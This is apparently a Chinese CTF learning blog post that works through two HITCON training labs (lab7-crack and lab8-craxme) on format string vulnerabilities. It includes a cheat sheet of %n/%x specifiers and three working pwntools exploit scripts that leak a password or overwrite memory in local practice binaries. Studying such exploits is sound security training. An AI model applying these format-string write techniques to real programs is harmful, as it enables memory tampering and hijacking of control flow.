Pwn-10月26-Hitcon-四
目錄
- Pwn-10月26-Hitcon-四
- lab7-crack
- 檢查保護措施
- 邏輯分析
- lab8-craxme
- 檢查保護措施
- 邏輯分析
- lab7-crack
Pwn-10月26-Hitcon-四
練習Hitcon的第四天??,愉快地學習fsb(Format string bug),格式化字符串漏洞。
lab7-crack
好??,這題開始接觸格式化字符串漏洞。
什麽是格式化字符串漏洞?我們知道c/c++中
printf
函數輸出值需要對應的參數,但當提供的參數出現問題,或者沒有提供參數的時候,格式化字符串漏洞就可能出現了。CTF-wiki傳送門那麽假設,此時我們在編寫程序時候,寫成了下面的樣子
printf("Color %s, Number %d, Float %4.2f");
此時我們可以發現我們並沒有提供參數,那麽程序會如何運行呢?程序照樣會運行,會將棧上存儲格式化字符串地址上面的三個變量分別解析為
- 解析其地址對應的字符串
- 解析其內容對應的整形值
- 解析其內容對應的浮點值
由此可見格式化字符串漏洞主要是:
1.泄漏任意地址的值,leak內存(比如leak出libc基地址)
2.寫任意地址,可用於修改got表
這部分來自icemakr的博客 ==>向大佬致敬 32位 讀 '%{}$x'.format(index) // 讀4個字節 '%{}$p'.format(index) // 同上面 '${}$s'.format(index) 寫 '%{}$n'.format(index) // 解引用,寫入四個字節 '%{}$hn'.format(index) // 解引用,寫入兩個字節 '%{}$hhn'.format(index) // 解引用,寫入一個字節 '%{}$lln'.format(index) // 解引用,寫入八個字節 64位 讀 '%{}$x'.format(index, num) // 讀4個字節 '%{}$lx'.format(index, num) // 讀8個字節 '%{}$p'.format(index) // 讀8個字節 '${}$s'.format(index) 寫 '%{}$n'.format(index) // 解引用,寫入四個字節 '%{}$hn'.format(index) // 解引用,寫入兩個字節 '%{}$hhn'.format(index) // 解引用,寫入一個字節 '%{}$lln'.format(index) // 解引用,寫入八個字節 %1$lx: RSI %2$lx: RDX %3$lx: RCX %4$lx: R8 %5$lx: R9 %6$lx: 棧上的第一個QWORD
檢查保護措施
按套路來,先
checksec crack
:可以看到開啟了棧溢出保護(canary found),以及棧不可執行(NX)措施,很明顯讓我們從別處入手。
簡單運行一下:
我們需要輸入兩個值,一個是name,輸入之後會被打印,一個是password。
m4x師傅的邏輯:
輸出 name 時有明顯的格式化字符串漏洞,這個題的思路有很多,可以利用 fsb 改寫 password,或者 leak 出 password,也可以直接通過 fsb,hijack puts_got 到 system(“cat flag”) 處(註意這裏 printf 實際調用了 puts)
。
邏輯分析
idapro啟動!!啟動!!給我啟動啊!!??!main函數:
exp1:通過格式化字符串漏洞泄露password
簡單測試一下我們可以看到一些有趣的東西,這些應該是
printf
棧中的數據,那麽我們只要找到棧中存儲我們輸入的內容的位置,假如輸入的是某地址,再用%s解析就可獲得該地址下的內容:可以看到輸入的內容在棧中的第十個位置,這裏學到一個小知識,
%10$s
中格式化字符串的“$”操作符,其允許我們從格式化字符串中選取一個位置的參數作為特定的參數。我們可以從IDA中得到password_addr=0x804A080
,然後構造EXP。
#coding:utf-8
from pwn import *
from libnum import n2s
context.log_level = "debug"
io = process('./crack')
pwd_addr= 0x804A048
io.recvuntil(' ?')
io.sendline(p32(pwd_addr) + "|%10$x||")
io.recvuntil('|')
#drop = True 表示丟棄pattern,不接受pattern
pwd = str(u32(io.recvuntil('||',drop = True)))
io.sendlineafter(" :",pwd)
io.interactive()
io.close()
運行效果:
exp2:修改隨機數
簡單了解fmtstr之後,知道原來還有這麽騷的pwntools模塊,這裏簡單對這個exp做個分析理解。
#來自Veritas501大佬的exp
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
運行效果:
lab8-craxme
這也是一題格式化字符串漏洞??,我們可以直接通過類似上面題exp2的方式來修改值達到目的。
檢查保護措施
checksec craxme
:可以看到幾乎所有保護措施都打開,無法通過棧溢出或者棧執行等漏洞進行攻擊。
邏輯分析
像lab7一樣,我們可以在ida裏面看到有格式化字符串漏洞:
我們可以運行一下試試
可以看到在printf函數棧中第七個位置是我們輸入的內容,那麽我們就可利用pwntools的fmtstr_payload來改變magic的值。
通過ida找到magic的地址:
通過Pwntools.ELF:
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
magicAddr = ELF("./craxme").sym["magic"]
inputs = int(input("[+]1.flag\n[+]2.craxflag\ninput:"))
if inputs == 1:
payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c})
io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()
運行效果:
今天的格式化字符串漏洞就學到這兒啦,難受??。
Pwn-10月26-Hitcon-四